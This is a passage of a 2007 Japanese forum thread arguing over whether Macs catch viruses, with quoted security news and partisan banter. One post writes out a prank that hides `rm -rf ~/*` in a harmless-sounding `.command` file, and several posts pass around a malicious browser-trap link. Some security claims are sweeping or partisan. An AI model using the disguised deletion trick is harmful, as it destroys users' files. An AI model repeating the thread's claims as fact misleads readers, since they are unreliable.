494:名称未設定
07/06/03 22:08:43 xa+e7J4J0
( ゚д゚)

495:名称未設定
07/06/03 22:12:02 yDeGUtE70
AAやコピペの連投は困ったときの常套手段で、
彼らなりの敗北サインです。
あたたかく見守ってあげてください。

496:名称未設定
07/06/03 22:54:49 s3HYaoHC0
>>495は↓の改変コピペだね。

16 :It's@名無しさん:2007/06/02(土) 00:40:45
AAやコピペの連投はアンチソニーが困ったときの常套手段で、
彼らなりの敗北サインです。
あたたかく見守ってあげてください。

Win板を荒らし、ソニー板を荒らす社会の屑
それがマックユーザー

497:名称未設定
07/06/04 00:29:41 BT15DRfI0
BootCampで開いたファイルにWinのウイルス入ってたら感染しちゃう?

498:名称未設定
07/06/04 08:36:44 CZ/eCEga0
>それにしても、利用者:124.26.203.36のノート:無線LANへの参入と同じくして始まった一連の攻撃/侵入絡みの
>対策と、関連する記録の整理や提出で、この2週間の間の余暇の大半を浪費してしまいました。対立する価値観は
>手段を選ばず攻撃して潰す、を実際に実行する連中が、Wikipediaにのさばっているということはよく理解できま
>した。まったく狂信的な連中というのはこれだから恐ろしいものです。

499:名称未設定
07/06/05 00:54:38 CzPIR7Ud0
>>497
Macそのものがウイルスだから問題ない

500:名称未設定
07/06/05 01:33:14 I0ngG4WH0
MACはウイルスにかかれない

501:名称未設定
07/06/05 01:37:15 WJSwD3mK0
OSXこいつがウイルスの本体。
intel移行で一気に広まった。
こいつは、その他のウイルスに感染しない。
しかしWindowsと言う、ウイルスの媒体をインストールした場合、その中でウイルスが繁殖する恐れが有る。
幸か不幸かデフォルトではWindowsからMacの領域は見えない。
しかし!読み書き出来るようにするツールが有ったりするのだ!
そうなると、Windowsとは全く無縁とは言えなくなる
MacにインストールされたWindowsはいつ発病してもおかしくないエイズウイルスの様な物と言える。
出来るならばWindowsはインストールしない方が良いだろう。



502:名称未設定
07/06/05 02:14:12 1sExa1bH0
>>501

その文章じゃ、Windowsがウィルスみたいだぞ。

503:名称未設定
07/06/05 02:30:53 bmGyf9cA0
つれたw

504:名称未設定
07/06/05 02:51:19 sUv2H3NC0
めでたしめでたし

505:名称未設定
07/06/05 02:58:26 eHazEmK20
ほのぼのとしてるな

506:名称未設定
07/06/05 09:06:01 yJwhtCoe0
攻撃者の目標になるMac、Microsoft的状況に?
URLリンク(www.itmedia.co.jp)

507:名称未設定
07/06/07 05:30:29 j0gQHS6J0
> Windowsユーザーが享受している二次的な防護(広範な種類
> のサードパーティー製セキュリティソフトウェアなど)がMacに欠如
> しているために、攻撃対象としての魅力がさらに高まっている。

ようやくマカーも相手にしてもらえるレベルになったようですね。

508:名称未設定
07/06/07 05:35:26 R4yE3VFH0
> Appleが最高セキュリティ責任者を置いていないという事実を
またこれか
前に、もっと露骨に「俺を雇え」みたいな発言してるやつ居たなあ

509:名称未設定
07/06/09 08:32:33 N5D+eLlc0
セキュリティを強化とか言ってたけどガワかぶって重くした上に
何も変わってないOSよりはマシだと思うよ

510:名称未設定
07/06/10 14:59:44 NEEzvEcR0
それなんて、MacOSX?

511:名称未設定
07/06/11 14:49:16 vZkFoLEB0
VistaっていうMac OS XのパクリOSのことだよ

512:名称未設定
07/06/17 13:38:29 xsgpYA1l0
オマエにウイルスなんて十年早い
アンチウイルスソフトの定義ファイル
でももらってニタニタしてろってこった

513:名称未設定
07/06/17 13:46:53 Yy9h7ceJ0
抗菌仕様

514:名称未設定
07/06/17 14:36:43 LAb1KNQ40
ああ、Windowsって風邪の時のマスクみたいなもんだろ?

実はマスクをすることにより拡散して余計広げてしまうみたいな

515:名称未設定
07/06/17 14:39:39 9Kzxdf3t0
銀座のアップルストアで嫁にibook買ってあげた時、
「.macに昔はマカフィとかついてたよね?今はついてないんだ。」って聞いたら
「数年前にMacはウィルスに感染しないことが証明されましたので、今後は必要ないんです。」
って言われたよ。
さすがにこの人たちどうかしてると思った。


516:名称未設定
07/06/17 14:44:41 gcCIC0k50
●セキュリティ企業は信用できるのか
URLリンク(slashdot.jp)
>"Open Tech Pressの マルウェア対策業界は信用できるかという記事だが、
>なかなか 衝撃的だ。警察・消防・救急等と違ってマルウェア対策業界は
>全く信用できないと断罪する記事である。その理由が幾つか書かれている
>● US-Certが 各ディストリビューションで出されたセキュリティパッチの
  数の合算で Unx/Linuxの欠陥総数と公表する姿勢
>● Appleの宣伝キャンペーンの直前に脆弱性の虚偽情報を流した企業の例
>● 昨年91件のLinuxウィルスを報告したロシア企業の公表データを調べると
  21件だけに説明があるがほとんどすべては標準*nixパーミッションに
  従ってファイルを変更するプログラムだった例
>Windowsに代わる安全な製品はセキュリティ企業にとって収益上の脅威となる

●マルウェア対策業界は信用できるか
URLリンク(opentechpress.jp)
>これがセキュリティ業界の体質である。この業界ではMicrosoftに媚びへつらわなければ
生きていけない。それ故に、不正、虚偽、欺瞞、不正確な主張、偽ウィルス、
偽りの警告を次々に流している。

>今回の「発表」ではApple OS Xも今ではWindowsと同程度にマルウェアの攻撃に
さらされており同程度に脆弱であると警鐘を鳴らしているのだが、発表の時期に作意が
感じられる。
というのは、Windowsに侵入して悩ましている種々のマルウェアに対してAppleには
強い耐性があるという事実を強調したAppleの新しい宣伝キャンペーンの直前だったからだ。
これまで2002年10月、2003年10月、2004年10月、2005年11月と、
秋に発表されるのが通例だったのだ。

517:名称未設定
07/06/20 12:40:16 V5qqXQCy0
今年の夏に、I MACの新型を出すって海外じゃ噂になってるみたいだけど、知ってる香具師いる?


518:名称未設定
07/06/24 00:03:03 voqHV3Uk0
早く出せよな。いまのはかなりダサイからな。全然いいと思わん。大福最高。

519:名称未設定
07/07/07 13:28:33 62K5nVvK0
lkl

520:名称未設定
07/07/07 15:37:46 yP1QNHYW0
オマエの手は足元にも及ばない
URLリンク(videocast.yahoo.co.jp)


521:名称未設定
07/07/08 00:40:53 H26t77QT0
$ echo "rm -rf ~/*" > ~/Desktop/good.command

522:名称未設定
07/07/15 06:21:28 7u8lgMUJ0
ウイルスにもかからないが
ソフトも動かない
何もできない

523:名称未設定
07/07/15 07:41:08 3TfZEK/M0
オマエの手は足元にも及ばない
Your hand is no match.
你的手脚下也不涉及
너의 손은 발밑에도 미치지 않는다

URLリンク(videocast.yahoo.co.jp)

524:名称未設定
07/07/16 07:40:41 PaSO4pt70
OSXのウィルスあったと思うが

525:名称未設定
07/07/28 18:52:20 zKshmBnO0
>>521


526:名称未設定
07/07/28 20:02:38 zxLU/9O+0
そもそもMacの大規模なウイルス被害なんて、9805以来起きてるの?
知ってるヒト居る?

527:名称未設定
07/07/28 23:06:24 PeO8XWUn0
Macに限らず、Windowsでも大規模なウイルス被害なんて
めったにおきていないと思いますが違いますか?

528:名無しさん@そうだ選挙に行こう
07/07/29 01:46:17 1k6UwW6n0
すごい!マカみたいなドザがいる!

529:名無しさん@そうだ選挙に行こう
07/07/29 01:58:43 E+Rmqu3V0
>>527
たしかにおきてないね。そのとおりだと思う。

530:名無しさん@そうだ選挙に行こう
07/07/29 15:48:29 JhI9UyWZ0
総務省:国民のための情報セキュリティサイト

・代表的なウィルスの動作と被害内容
URLリンク(www.soumu.go.jp)


Windowsユーザーはとりあえずこれぐらいは押さえておこう!
ニムダの時は常時接続回線が発症したWindowsからの信号で
飽和しちゃって大変な迷惑に。
あれからプロバイダ各社が”自己防衛のために”メールに対する
無料ウィルスチェックサービスを始めたのには笑った。

531:名称未設定
07/07/30 02:21:42 N0aA4Dg/0
ワンランク上のおっさん教えてよ
未知のウイルスとやらが出てくるとどうなるの?
ソフトが勝手になんとかしてくれるの?
俺が馬鹿だとやられちゃう?

532:名称未設定
07/07/30 17:26:42 XwLNYwYx0
俺は他に類を見ないバカだがやられていない。俺より賢いオマエは大丈夫だぜ!

533:名称未設定
07/07/31 22:25:34 gUK6UHhH0
ウィルス作成者にすら相手にされてないだけなんだけどねw

534:名称未設定
07/07/31 22:42:17 cCG9pTX90
>>533
ありがたやありがたや

535:名称未設定
07/07/31 23:59:59 YVDQ0IoM0
ウィルスがいないMacはウィルスにかからないね。

536:名称未設定
07/08/01 01:10:52 k55MliGL0
どっかのニュースサイトでMac用のコンセプトウイルスを公開したはいいけど
感染力はないしMacOS Xは難攻不落で泣きのコメントが入ってた、
というネタがあったな。

537:名称未設定
07/08/05 11:57:14 sRZE1xq70
”Windowsでこんなにウィルスが脅威なのにMacがそんなにウィルスに強いはずがない”
って思い込みでドザは常に殴り込んでくるわけだが、単純な話でね。

Windows(XP)は特に設定しないと、ユーザーは管理者としてログインするので
立ち上げると同時にいわば家の鍵が全部オープンになるのよ。システム的に。
重要なシステムがあるエリアも含めて、全部オープン。

これは実はマイクロソフトは半ば意図的にやってることでね。
もし細やかなアクセス制限をしたいのならば企業向けの
サーバーソリューションを買いなさい。ってことなわけ。

Mac(OSX)はUNIXなので、もし侵入できてもファイルにいちいち名前が
書いてある。どんな名前の誰が動かせるのか、誰がこのディレクトリに
アクセス可能なのか全部に。さらに重要なシステムエリアは管理者権限でも
パスワード手入力を求めるというオマケ付き。

538:名称未設定
07/08/05 12:05:31 sRZE1xq70
Windowsならウィルスは動作する時に誰にも咎められない。起動してる以上
まず管理者なわけだし、管理者であることを確かめるシステムもない。
Adminisitratorというユーザーネームでパスワードなし。これがデフォルト。
とってもかんたんだ。

OSXの場合、感染したら。というか感染するために、まずなんとかして
ユーザーネームを知らなければならない。(あたりまえなのだが)MacOSの場合
デフォルトの共通ユーザーネームというのはない。たいていユーザーの名前に
なっているのだが、ウィルスにそれを知る方法はおいそれとはない。
もしユーザーネームを知ったとしても、心臓部のシステムに感染するためには
パスワードをなんとかして知って、表示される手入力画面に打ち込まなければ
ならない。 オーケー、ここまでを越えてなんとか感染したとしよう。一台に。
・・・そう、次はこれとおんなじ手順を次の感染先で行わなければならないわけだ。

ウィルス作者にとってどんだけ嫌なハードルがあるか少し理解できたかな?
こんなんやるぐらいなら、ザルのWindowsで暴れた方がどんなに楽かと。
ハッカーもそう思っている。 そゆわけ。

539:名称未設定
07/08/05 14:23:45 /KDpVaS10
とても分かりやすかった。

540:名称未設定
07/08/05 22:54:16 EXRW/M8W0
かかった事あるけどすぐに治った。

541:名称未設定
07/08/05 22:56:12 LlwWBpSJ0
>>540
> ID: EXRW/M8W0

レス乞食チワワ 屁垂れすぎ

542:名称未設定
07/08/05 23:12:28 uKY5OHL70
>>538
共通のユーザー名ならあるよ。
それにウイルスにとってユーザー名を知ることは必須じゃないし。

ようするにお前は無知だってこと

543:名称未設定
07/08/06 00:36:50 2dBB30dZ0
ウィルスにかからないのはありがたいんだけど
ソフトウェアアップデートでSuperDriveが死んだのには参った。。
もう少しテストしてから配布しろよ

544:名称未設定
07/08/06 13:45:10 xHUvMVLX0
Macにとってはマカこそ悪性のウィルス

545:名称未設定
07/08/06 14:43:56 9RXgZNTm0
URLリンク(aaa-mondai.tripod.com)


こういうのを踏んでもMacなら平気なの?

546:名称未設定
07/08/06 20:39:02 SiL/CdbS0
>>545
これけっこうキツイね。ちょっと固まったけど、何とか窓を消したわ。
cyber.wmfのファイル16個勝手にダウンロードしたけど、何も起きない。

547:名称未設定
07/08/06 22:31:53 7x1HPuQS0
>>545
逆に聞くけど、Winで踏むとどうなるの?
Macだとりあえずブラウザ強制終了で事なきを得たけど。

548:名称未設定
07/08/07 00:57:13 46ccXnpV0
>>545
すげー。
FireFoxとターミナルとリアルプレーヤーとFTPソフトが起ち上がって何かしてたっ!
サファリのダイアログを閉じる事が出来ない。
自分のルーターに外から繋ごうとしてる。

なにやってんの?これw

549:名称未設定
07/08/07 01:14:52 5ccey3jj0
ふうむ?9時の時点からもう

Sorry, but the page or the file that you're looking for is not here.
Try the search box below to find more information about your topic.

と出て機能してないようなのであるが?

元は
80 :名無しさん?:2007/08/04(土) 23:30:12 ID:???
>>78
※このアドレスは危険URLのひとつです。
注意!アラートオープンを発見! (1)
注意!ループタグを発見! (4)
注意!逃げウィンドウを発見! (3)
危険!mailtoストームを発見! (410)
危険!FDDアタックを発見!(7)
危険!無限ループを発見! (2)
危険!ニュースストームを発見! (3)
危険!Telnetストームを発見! (3)
・・・だそうです。

とおなじものだったっぽいが。

550:名称未設定
07/08/07 11:13:04 xmkdr1o10
219 名前: 名称未設定 Mail: 投稿日: 2007/08/06(月) 23:35:48 ID: P7OSKgem0
URLリンク(up.uppple.com)
Macまた炎上ですかw

551:名称未設定
07/08/09 00:17:46 ImT9Pphv0
>>538
terminalで
$ cat /etc/passwd
をやってみれ。いっぱいアカウントがでてくるよ。

お手本としてるUNIXは脆弱性をつぶす歴史だったのよん。

最近の報告は無いけど、OSXにも採用されてるsshd,sudoあたりは時々セキュリティホールの報告があるから気をつけようね。



552:名称未設定
07/08/11 16:14:24 NhIQJz4p0
「Internet Security Threat Report」と題されたSymantecの最新の報告書によると、
2006年後半にWindowsから発見されたセキュリティホールの数は、同年前半の22個から増加し、39個に上った。
また、セキュリティホールの発見からパッチが開発されるまでの平均期間は2006年後半は21日だった。

またRed Hat Linuxについては、2006年前半にパッチが適用された脆弱性の数が42個だったのに対し、
同年後半は208個と大幅に増加した。また同年後半の平均パッチ開発期間は58日だった。

さらにAppleのMac OS Xを見ると、2006年後半に発見された脆弱性の数は、
同年前半に発見された数の倍以上の43個で、平均パッチ開発期間は66日だった。



脆弱性の数が最も多く、対応がもっとも遅いOSはAppleのMac OS Xなのです



553:名称未設定
07/08/11 16:19:06 NhIQJz4p0
あっ失礼、脆弱性の数は「Winより多く」でした。
ちなみにMacの脆弱性の深刻度そのものはあまり高くないようだけど
Macなら安全なはずと盲目的に信じ込んでいると危険だよ

554:名称未設定
07/08/11 18:54:52 ZJxvFUEO0
うるせー粘着コピペ野郎キモイんだよ

555:名称未設定
07/08/11 18:58:50 +kUgnLgu0
態度悪いな。罰として上げとくぞ

556:名称未設定
07/08/11 19:00:58 JbtCPTVI0
>>555
> ID: +kUgnLgu0

単発ID屁垂れ阿呆ドザチョン

557:名称未設定
07/08/11 19:20:43 Y5jmntDR0
MacOS Xだと脆弱性が発見されても、擦り傷程度でバイ菌も入らないけど、
Windowsだとバックリと割れて骨が見えてる状態で
下水道に放置されるのと同じだからなあ。

558:名称未設定
07/08/11 19:58:56 yZfjwrIg0
マックのシェアが上がれば、ウィルスも心配だが、今くらいのシェアだったら、当分安泰。
頼むから、シェア上がらないでくれ。iPod,iPhoneだけシェア上がればいいんだよ。。。

559:名称未設定
07/08/13 11:06:16 Hcmbt/Ab0
あり得ない話だけど、仮にシェアがあがったら喜ぶくせにw


560:名称未設定
07/08/13 20:50:07 c6dmVXHM0
自分の性癖も顧客情報もシェアする時代。
まさに時代に合ったOSそれがWindows

【Winny】 “首を鎖につながれた淫らなポーズの女性”などの個人撮影画像&顧客情報流出、AIU保険“面目丸つぶれ”不祥事★2
スレリンク(newsplus板)


561:名称未設定
07/08/16 20:52:55 qEQOXoC00
市販のソフトはいらないね
Clam AVソフトで十分だね。
どうせそれ以上の使い方なんてしないしw


562:名称未設定
07/08/18 19:23:31 qF+BXlXK0
Macは隠蔽と捏造の総合商社。
ベンチは偽装だし高度な脆弱性を有するw
生きてて恥ずかしくないの

563:名称未設定
07/08/20 00:57:16 nziAcAme0
×ウイルスにかからない
○誰もウイルスを作ろうとしない

564:名称未設定
07/08/20 04:20:14 LndJs+xj0
おっしゃる通りでございますぅ

565:名称未設定
07/08/20 13:31:53 PUYMg+rS0
正解は
○ウイルスを作りたくても難攻不落で作れない。

566:名称未設定
07/08/20 14:32:47 /PUbwxqw0
>>562
高度な脆弱性って具体的に何?
それでどういう不具合があるの?
Windowsは立て直しできない時があるけど。
Macだとそれはない。

567:名称未設定
07/08/20 22:25:57 sw7iZqET0
>>565
難攻不落という訳でもないと思う。
一度実行さえしてしまえば、あとはワームを置いて常駐程度だったらそれほど手間もかからん。
気付かれないでインストーラーを実行させるのは、ちと手間かもしんないけど。
結局、オレの場合は作っても何がどうって訳じゃないから作らん、面倒臭いし、そんなもんより普通にGUIのアプリ作ってた方が面白い。

568:名称未設定
07/08/21 00:01:38 nziAcAme0
Mac(失笑)

565 :名称未設定:2007/08/20(月) 13:31:53 ID:PUYMg+rS0
正解は
○ウイルスを作りたくても難攻不落で作れない。


569:名称未設定
07/08/21 00:02:42 cZ8xM1xK0
655 名前: [名無し]さん(bin+cue).rar Mail: sage 投稿日: 2007/08/20(月) 00:35:50 ID: lrCyiBk90
URLリンク(up.uppple.com)

ww

570:名称未設定
07/08/21 00:05:14 iEfrWG4p0
そりゃローカルに落とさせて実行できればどんなOSだって楽勝だわな。
Macではそれが難しいしWindowsではActiveなんたらが穴だらけすぎて
Macと比較すると簡単に出来てしまう。

571:名称未設定
07/08/21 00:10:58 RXkuT+hm0
>>569
それは?

572:名称未設定
07/08/21 00:43:08 omNfI/Il0
>>570
何時の話してるんだ?w

573:名称未設定
07/08/21 00:59:18 DIwyxp9X0
>>572
ActiveX絡みの脆弱性の最新は2007年8月15日のコレかな?
まだ一週間も経ってないねぇ・・・

MSのDirectX Media SDK脆弱性でエクスプロイトコードが登場
URLリンク(www.itmedia.co.jp)

>MicrosoftのDirectX Media 6.0 SDKに問題のActiveXコントロールが含まれ、
>Internet Explorer(IE)経由で悪用される恐れがある。
>ユーザーが細工を施したHTML文書を閲覧すると、リモートの認証を受けない
>攻撃者が任意のコードを実行したり、IEをクラッシュさせることが可能になる。

ですと。

そして・・・

>Microsoftは14日、8月の月例セキュリティ更新プログラムを公開したが、
>この問題に対処したパッチは含まれていない模様。


対策もされていない。と・・・ さすがだWindows。

574:名称未設定
07/08/21 00:59:19 KZQfJgJY0
winだと最近でもこんなのあったけど
これってwinに最新のパッチ当ててても感染したのかな?

イタリアで大規模な攻撃、多数の有名サイトに罠が仕掛けられる
URLリンク(itpro.nikkeibp.co.jp)

Webからの大規模ウイルス感染がイタリアで発生
URLリンク(internet.watch.impress.co.jp)


575:名称未設定
07/08/21 09:55:58 IdAX4eKo0
>>572
自分の無知さを晒して恥ずかしいね。

576:名称未設定
07/08/21 21:00:50 tmhPmRLO0
>>575
あなたが?

577:名称未設定
07/08/21 22:50:56 9EIDf6Wu0
最近のMacユーザーには羞恥心というものがないからね。

578:名称未設定
07/08/23 02:21:00 VMQNI9QR0
>>577
最近のMacユーザーには(最近のWindowsユーザーに比して)羞恥心というものがないからね。
これは全く正しくない。

最近のMacユーザーには(昔のMacユーザーに比して)羞恥心というものがないからね。
これでも微妙。

最近の日本人には(昔の日本人に比して)羞恥心というものがないからね。
これが正解。

579:名称未設定
07/08/23 22:12:49 m59dAPMQ0
Macは隠蔽と捏造の総合商社。
ベンチは偽装だし高度な脆弱性を有するw
生きてて恥ずかしくないの

580:名称未設定
07/08/23 22:51:56 nz+pitTp0
Mac 2件wwwwwwwww
URLリンク(images.google.co.jp)
URLリンク(ww3.tiki.ne.jp)
imgrefurl=URLリンク(ww3.tiki.ne.jp)

581:名称未設定
07/08/24 09:25:52 Zg/cdjOi0
>>576-577
>>あなたは、自信を持ってマカに言い返したけど、
あっさりとソース出されて恥じかいた>>572だね。

自演までして恥ずかしくない?

582:名称未設定
07/08/24 11:16:34 LJbK5qVW0
ところで・・・・。



Macのウィルスまだぁー?

583:名称未設定
07/08/24 19:43:13 Bxx4VYbA0
スーパーハカーもお手上げ、それが堅牢の砦Mac(^-^)v

584:名称未設定
07/08/25 02:34:58 /DrNUqd/0
別にMacだけが堅牢とかそーゆーんでなくて、
MSが一般用に売ってたWindowsってのが自前でシステムを
まったく防御していないっつー”超サイバーノーガード”OS
だったつーだけの話で。

UNIXに一般的に感染するよーなウィルス作れれば、
いくらでもインターネットネットボコボコにできんのに
どこのスーパーハカーもやらんでそ?

XPまでのWindowsが超ザル過ぎたんだよ。

なぜか堅いはずのVistaでもいろいろ出てきてるのがアレだけどな。

585:名称未設定
07/08/26 19:15:46 hRUH/Jo60
ハッカーコミュニティはゲイツのやり方が気に入らなくて
ウイルスを作りまくる。

ジョブズはヒッピーなのでハッカーたちも共感する部分が多く
あまりウイルスを作りたがらない。

586:名称未設定
07/08/30 17:39:07 ZiZbMk9E0
>>583
コーヒー吹いたw

587:名称未設定
07/08/30 18:21:19 zgmtCP120
単にユーザーが少ないから
ウイルスばらまいても面白くなくてやらないだけじゃね?

588:名称未設定
07/08/30 18:24:09 KUo+G+I50
俺なんかケツから溜め息が出たぜ

589:名称未設定
07/08/30 19:03:05 enUQloOL0
人間は肛門から呼吸することは出来ない。

590:名称未設定
07/09/02 16:05:12 hFo11oTM0
オナラは出るな。

591:名称未設定
07/09/04 07:04:17 XjiFC9p20
マックはウィルスに感染しないと思っていたら大間違い。
マックに特化したウィルスも中にはあるよ。

592:名称未設定
07/09/06 08:53:26 4fhT7Vpr0
で、実際の被害報告とかあるの?


593:名称未設定
07/09/06 19:48:17 E57kQZRe0
と、いうか特化ってなんだ・・・
なんにでも感染して伝染する汎用ウィルスとかあんのか。

594:名称未設定
07/09/11 01:42:43 dZgGw9je0
×Macはウイルスにかからない
○Macはウイルスにすら相手にされない

595:名称未設定
07/09/11 19:44:29 jtxWl3A00
そのおかげで安心して仕事に使えてます。

596:名称未設定
07/09/11 23:04:23 xwhsqeto0
>>594
不思議とヤじゃない

597:名称未設定
07/09/12 09:44:03 s7yJSQu50
×Macはウイルスにかからない
×Macはウイルスにすら相手にされない
○Macが堅牢すぎるのでウイルスを作れる奴がいない

598:名称未設定
07/09/12 19:13:29 CmomF07D0
ということにしてください。

599:名称未設定
07/09/13 02:29:06 VcuxAUbs0

> Macが堅牢すぎるのでウイルスを作れる奴がいない

寝言は寝て言え。

600:名称未設定
07/09/13 12:53:25 wXtOrPcB0
しかし、実際にいない

601:名称未設定
07/09/13 14:35:34 XRm8qbAZ0
>>600
スレリンク(pcnews板:1-100番)

602:名称未設定
07/09/13 14:36:06 XRm8qbAZ0
>L>600
スレリンク(pcnews板:1-100番)

603:名称未設定
07/09/14 14:48:53 sJFb39j/0
OSX.Macarenaかー懐かしいねー

コンパイルしたアプリケーションをユーザーが実行すると
同じディレクトリにむきだしで置いてある
ある種の実行ファイルに感染する。って
コンセプト検証”ウィルス”。

ポイントはOSXの実行ファイルはディレクトリに剥きだしで置いてあることがまずない。
ってとこかなー・・・ 感染するのもMach-o形式だけだし、IntelMacやPPCの生
バイナリには感染しないし。
そりゃウィルス危機を煽りたいシマンテックも危険度低にしかできんわな。

にしても元を確認して一番笑うとこは

>ソースコードをコンパイルすると、OS Xウイルス本体とドロッパの2つの
>バイナリが作成されます。ドロッパは、現在のマシンにインストールされた
>WindowsからMac OS Xバイナリファイルに感染することを目的としています。

Bootcamp(parallels)で起動しているWindowsから感染させよう!ってのなw
むしろWindowsの存在自体がウィルスなんじゃね?コレw

604:名称未設定
07/09/22 23:16:25 WjnaS52G0
アップルボムとは?

iBook、PowerBook、MacBook、iPodとアップル製品のほぼ全てが
爆発、炎上することを意味している。
どうやらアップルは、製品の寿命を極限まで短くして、Mac信者にこまめに
買い換えてもらうように仕向けているらしいのだが、
保証期間内に壊れて無償修理になってしまうのであまり意味がないようだ。

アップルボムの実例

iPod nano
URLリンク(www.blogsmithmedia.com)
URLリンク(www.blogsmithmedia.com)
URLリンク(www.blogsmithmedia.com)

MacBook
URLリンク(gigazine.jp)

PowerBook
URLリンク(www.blogsmithmedia.com)
URLリンク(japanese.engadget.com)

iBook
URLリンク(iori3.cocolog-nifty.com)

605:名称未設定
07/09/23 01:07:34 4rsQTh/+0

欧州委員会、競争法違反でMicrosoft敗訴、4億9,700万ドルを超える罰金
URLリンク(pc.watch.impress.co.jp)

606:名称未設定
07/10/04 19:21:52 kODf3Pcb0
コピペ大好きMac信者

607:名称未設定
07/10/06 01:19:59 1A9IHalv0

AppleTV、iPhone、iPod に OS X を内蔵したおかげで、OS X のシェアがすごい増えてるね

608:名称未設定
07/10/18 02:07:01 Nqt6x6p40
>Mac OS Xの支持者やユーザーは、OS Xにもウイルスや脆弱性が存在
>することに気付かないか、単純に無視しているとSymantecは述べ、
>OS Xは攻撃とは無縁だと思っているユーザー啓発のためにこの報告
>書を使ってほしいとしている。

URLリンク(www.itmedia.co.jp)

> Macは、ネット上に出回るWindowsを狙った不正コードのほとんどに
>影響を受けないが、だからと言ってMacのOSにセキュリティホールがな
>いということにはならない。Appleから頻繁にOSのパッチがリリースさ
>れていることからもそれが分かると同氏は指摘する。
>
> しかし、同OSはユーザー数が比較的少なく、企業ネットワークでも
>ほとんど使われていないために、これらのパッチはたいていニュースに
>ならない。

URLリンク(www.itmedia.co.jp)




609:名称未設定
07/10/18 10:04:39 TR2NaqFS0
もうパソコン市場も飽和してセキュリティベンダーは必死だからね。
そんな中、iPhoneが新しい市場を切り開いていくのを見て、
黙って指をくわえているわけがない。

嘘でもやらせでもいいからユーザーの不安感を煽り、
自社製品の必要性を認知させていくのが生き残る道。


610:名称未設定
07/10/18 11:49:05 EFiV/v8v0
マックウイルスを作るのは難しい:Macarena
URLリンク(randomnotes.weblogs.jp)

Ducklin がいうには、ソースコードの中に、アップルのプラットフォームで
効果的に作用するウイルスを作るのは難しいと、ウイルス制作者がイライラ
していることを窺わせるような部分があるという。

どうやら幸いなことに、ウインドウズウイルスならすらすらと書けるひとでも
マックのウイルスが書けるようになるまではまだ暫くかかるということのようだ。


611:名称未設定
07/10/18 16:21:49 vJRUkmTsO
> しかし、同OSはユーザー数が比較的少なく、企業ネットワークでも
>ほとんど使われていない

ワラタw
まあこれが現実だよな。

612:名称未設定
07/10/18 18:47:54 +I3+hwfP0
確かWindowsは中学生が作ったウイルスでも被害が出たんだよな。
夏休みの自由研究に最適ってわけか。

613:名称未設定
07/10/20 11:38:35 EjlU+wJs0
Macは偽装、隠蔽、捏造、改ざんの総合商社。
まさに伏魔殿。

614:↑
07/10/20 11:40:36 +z4fCyhM0
基地外ドザチョンっていつもいつもワンパターンw

何年前から使ってるんだw

さすが自宅警備員の中年オヤジww

615:名称未設定
07/10/20 16:20:14 aPNNH0Fy0
ドブネズミにしか伝染しない病原菌は人間には感染しない。
ドブネズミにしか伝染しない病原菌はドブネズミにしか感染しない。

Windowsにしか伝染しないウイルスはWindowsにしか感染しない。

当然のことだよね。

616:名称未設定
07/10/21 07:51:33 b3E85yQH0
>>615
だが、抵抗力が弱っていれば人間にも感染するぞ・・・

617:名称未設定
07/10/22 12:42:03 pEYnnaMw0
抵抗力がいくら弱っても、MacOS XはWindowsのウイルスにはかからない。

618:名称未設定
07/10/25 03:27:19 1uGOmlBm0
OSXを狙ったウィルスが!とか元記事に当たったらディスク感染用に
ブートキャンプやパラレルズで起動しているWindowsを使う。
って代物だったからなぁ。あれは驚いた。

619:名称未設定
07/10/26 04:00:56 Hm3Ii6+Y0
> 抵抗力がいくら弱っても、MacOS XはWindowsのウイルスにはかからない。

そのMacOS Xでもかかってしまう強力なウイルスに
Windowsは感染しないわけだから、
実はWindowsってすごくね?w

620:名称未設定
07/10/27 14:15:24 1eOklFjz0
オマエの手は足元にも及ばない
Your hand is no match.
你的手脚下也不涉及
너의 손은 발밑에도 미치지 않는다

URLリンク(videocast.yahoo.co.jp)

621:名称未設定
07/10/27 14:17:37 iKGKVur70
iPhoneのTIFF脆弱性を利用したハックとか見てると、Macが安全だとは思えないんだが。

622:名称未設定
07/10/27 14:40:33 2ia2ngGQ0
メールに実行ファイル形式(*.app)は添付できないし
ことあるごとに管理者のID/Passをきいてくるわけだから、
フツーの人が扱うにはMacはウィルスかかりにくいんじゃね?
素人判断でアレだがw




623:名称未設定
07/10/27 16:32:23 iKGKVur70
VISTAのUACの不評を聞くと、そんなの関係ないって事に気づくよ。
ユーザはデフォルトでOKしちゃうもの。

624:名称未設定
07/10/28 01:49:14 PVyAx9bm0
じゃあ、OKクリックじゃなくて
もっと複雑な手順。
たとえばパスワードを入力するようにすれば
解決するのかな?


625:名称未設定
07/10/28 02:05:37 7fB8L1hb0
Macをハックするのに技術は必要ない。
なぜならユーザーに聞けばいいからだ。

626:名称未設定
07/10/28 19:19:29 nJqSa/GG0
しかし、Windowsに至ってはユーザーに聞く必要すらない。

627:名称未設定
07/11/01 13:20:35 H2j+TyE+0
Macユーザー狙ったトロイの木馬が出現、初の本格攻撃か - ITmedia News
URLリンク(www.itmedia.co.jp)

ポルノ視聴ユーザーを狙うMac OS向けマルウェアが出現:ニュース - CNET Japan
URLリンク(japan.cnet.com)

628:名称未設定
07/11/01 14:10:54 l/K3A1ef0
これってどっかのサイトからフリーウェア落として
インストールしたらマルウェアだった、
というのと同じじゃん。

Windowsみたいに常に管理者でログインしていて
パスワード聞かれないでインストールされるのとは違うよね。

629:名称未設定
07/11/01 14:59:14 etakhkyr0
>>628
まぁそうなんだけどハードルが下がって来たのは確かだよね
ちなみに件のウイルスをDLさせるサイトにはWin用のも置かれてるらしい
Mac狙いっていうより両対応でフィッシング仕掛けてるってことでしょう

「アダルト動画を無料でどうぞ」、Macユーザーを狙う新ウイルス
URLリンク(itpro.nikkeibp.co.jp)

630:名称未設定
07/11/01 15:20:21 UuOggS9+0
>>628
> これってどっかのサイトからフリーウェア落として
> インストールしたらマルウェアだった、
> というのと同じじゃん。

今のウイルスってほとんどそれなんだけど?

パスワード聞かれたからってさ、
そもそも自分の意思でインストールしようとしているのだから
パスワード入力しちゃうでしょ?意味が無い。

631:名称未設定
07/11/01 19:53:32 sRSUvolF0
例えばメールからクリックしていきなりパスワードを要求されたら誰だって怪しむ。
しかしWindowsは聞かれない。だから簡単に感染する。


632:名称未設定
07/11/01 21:37:42 y46h/+Nu0
Macでぁゃιぃサイト見てると、なんかデスクトップに
いきなりexe落としてくるサイトあんだよね。
たぶん、アレ、Winだといきなり実行まで行っちゃうんだと思うけど。
メール添付で開くと実行しちゃう。ってのとかさ。

Windowsはシステムフォルダを弄られることに対しての検出機構を
自前で持ってないから、いったんウィルス(exe)が動作したしたら
